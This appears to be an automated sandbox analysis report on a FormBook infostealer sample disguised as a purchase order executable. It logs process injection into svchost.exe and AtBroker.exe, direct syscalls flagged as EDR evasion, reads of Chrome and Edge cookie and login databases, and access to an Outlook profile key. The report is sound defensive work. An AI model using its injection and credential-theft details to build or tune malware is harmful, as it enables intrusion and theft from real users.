Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFA8E4 mov eax, dword ptr fs:[00000030h]	1_2_02EFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_02E6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_02E6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E8C0 mov eax, dword ptr fs:[00000030h]	1_2_02E5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F008C0 mov eax, dword ptr fs:[00000030h]	1_2_02F008C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30887 mov eax, dword ptr fs:[00000030h]	1_2_02E30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBC89D mov eax, dword ptr fs:[00000030h]	1_2_02EBC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBE872 mov eax, dword ptr fs:[00000030h]	1_2_02EBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBE872 mov eax, dword ptr fs:[00000030h]	1_2_02EBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6870 mov eax, dword ptr fs:[00000030h]	1_2_02EC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6870 mov eax, dword ptr fs:[00000030h]	1_2_02EC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E42840 mov ecx, dword ptr fs:[00000030h]	1_2_02E42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E60854 mov eax, dword ptr fs:[00000030h]	1_2_02E60854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34859 mov eax, dword ptr fs:[00000030h]	1_2_02E34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34859 mov eax, dword ptr fs:[00000030h]	1_2_02E34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov eax, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov eax, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov eax, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov ecx, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov eax, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov eax, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A830 mov eax, dword ptr fs:[00000030h]	1_2_02E6A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED483A mov eax, dword ptr fs:[00000030h]	1_2_02ED483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED483A mov eax, dword ptr fs:[00000030h]	1_2_02ED483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBC810 mov eax, dword ptr fs:[00000030h]	1_2_02EBC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBE9E0 mov eax, dword ptr fs:[00000030h]	1_2_02EBE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E629F9 mov eax, dword ptr fs:[00000030h]	1_2_02E629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E629F9 mov eax, dword ptr fs:[00000030h]	1_2_02E629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC69C0 mov eax, dword ptr fs:[00000030h]	1_2_02EC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E649D0 mov eax, dword ptr fs:[00000030h]	1_2_02E649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFA9D3 mov eax, dword ptr fs:[00000030h]	1_2_02EFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E309AD mov eax, dword ptr fs:[00000030h]	1_2_02E309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E309AD mov eax, dword ptr fs:[00000030h]	1_2_02E309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB89B3 mov esi, dword ptr fs:[00000030h]	1_2_02EB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB89B3 mov eax, dword ptr fs:[00000030h]	1_2_02EB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB89B3 mov eax, dword ptr fs:[00000030h]	1_2_02EB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E56962 mov eax, dword ptr fs:[00000030h]	1_2_02E56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E56962 mov eax, dword ptr fs:[00000030h]	1_2_02E56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E56962 mov eax, dword ptr fs:[00000030h]	1_2_02E56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E7096E mov eax, dword ptr fs:[00000030h]	1_2_02E7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E7096E mov edx, dword ptr fs:[00000030h]	1_2_02E7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E7096E mov eax, dword ptr fs:[00000030h]	1_2_02E7096E

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B9A66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00B9A66C

Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B881AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00B881AC
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B88189 SetUnhandledExceptionFilter,		0_2_00B88189

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtUnmapViewOfSection: Direct from: 0x76F02D3C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\AtBroker.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\AtBroker.exe

Thread register set: target process: 7744

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\AtBroker.exe

Thread APC queued: target process: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\PO AT-5228.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 30C008

Jump to behavior

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B9B106 LogonUserW,

0_2_00B9B106

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B63D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00B63D19

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BA411C SendInput,keybd_event,

0_2_00BA411C

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BA74BB mouse_event,

0_2_00BA74BB

Source: C:\Users\user\Desktop\PO AT-5228.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO AT-5228.exe"	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO AT-5228.exe

0_2_00B9A66C

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BA71FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00BA71FA

Source: PO AT-5228.exe, BLUymyzgBTyhbo.exe, 00000002.00000000.1704742829.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000002.00000002.3525110195.00000000013D1000.00000002.00000001.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525417060.0000000001921000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: BLUymyzgBTyhbo.exe, 00000002.00000000.1704742829.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000002.00000002.3525110195.00000000013D1000.00000002.00000001.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525417060.0000000001921000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: PO AT-5228.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
Source: BLUymyzgBTyhbo.exe, 00000002.00000000.1704742829.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000002.00000002.3525110195.00000000013D1000.00000002.00000001.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525417060.0000000001921000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: BLUymyzgBTyhbo.exe, 00000002.00000000.1704742829.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000002.00000002.3525110195.00000000013D1000.00000002.00000001.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525417060.0000000001921000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B865C4 cpuid

0_2_00B865C4

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BB091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,

0_2_00BB091D

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BDB340 GetUserNameW,

0_2_00BDB340

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B91E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00B91E8E

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B7DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00B7DDC0

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.440000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.440000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3527019353.0000000005710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781295730.0000000002CD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3524540674.0000000000790000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3525547305.0000000004210000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781112261.0000000000440000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781559228.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3525581336.0000000005270000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3524288505.00000000004E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\AtBroker.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: PO AT-5228.exe	Binary or memory string: WIN_81
Source: PO AT-5228.exe	Binary or memory string: WIN_XP
Source: PO AT-5228.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
Source: PO AT-5228.exe	Binary or memory string: WIN_XPe
Source: PO AT-5228.exe	Binary or memory string: WIN_VISTA
Source: PO AT-5228.exe	Binary or memory string: WIN_7
Source: PO AT-5228.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.440000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.440000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3527019353.0000000005710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781295730.0000000002CD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3524540674.0000000000790000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3525547305.0000000004210000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781112261.0000000000440000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781559228.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3525581336.0000000005270000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3524288505.00000000004E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

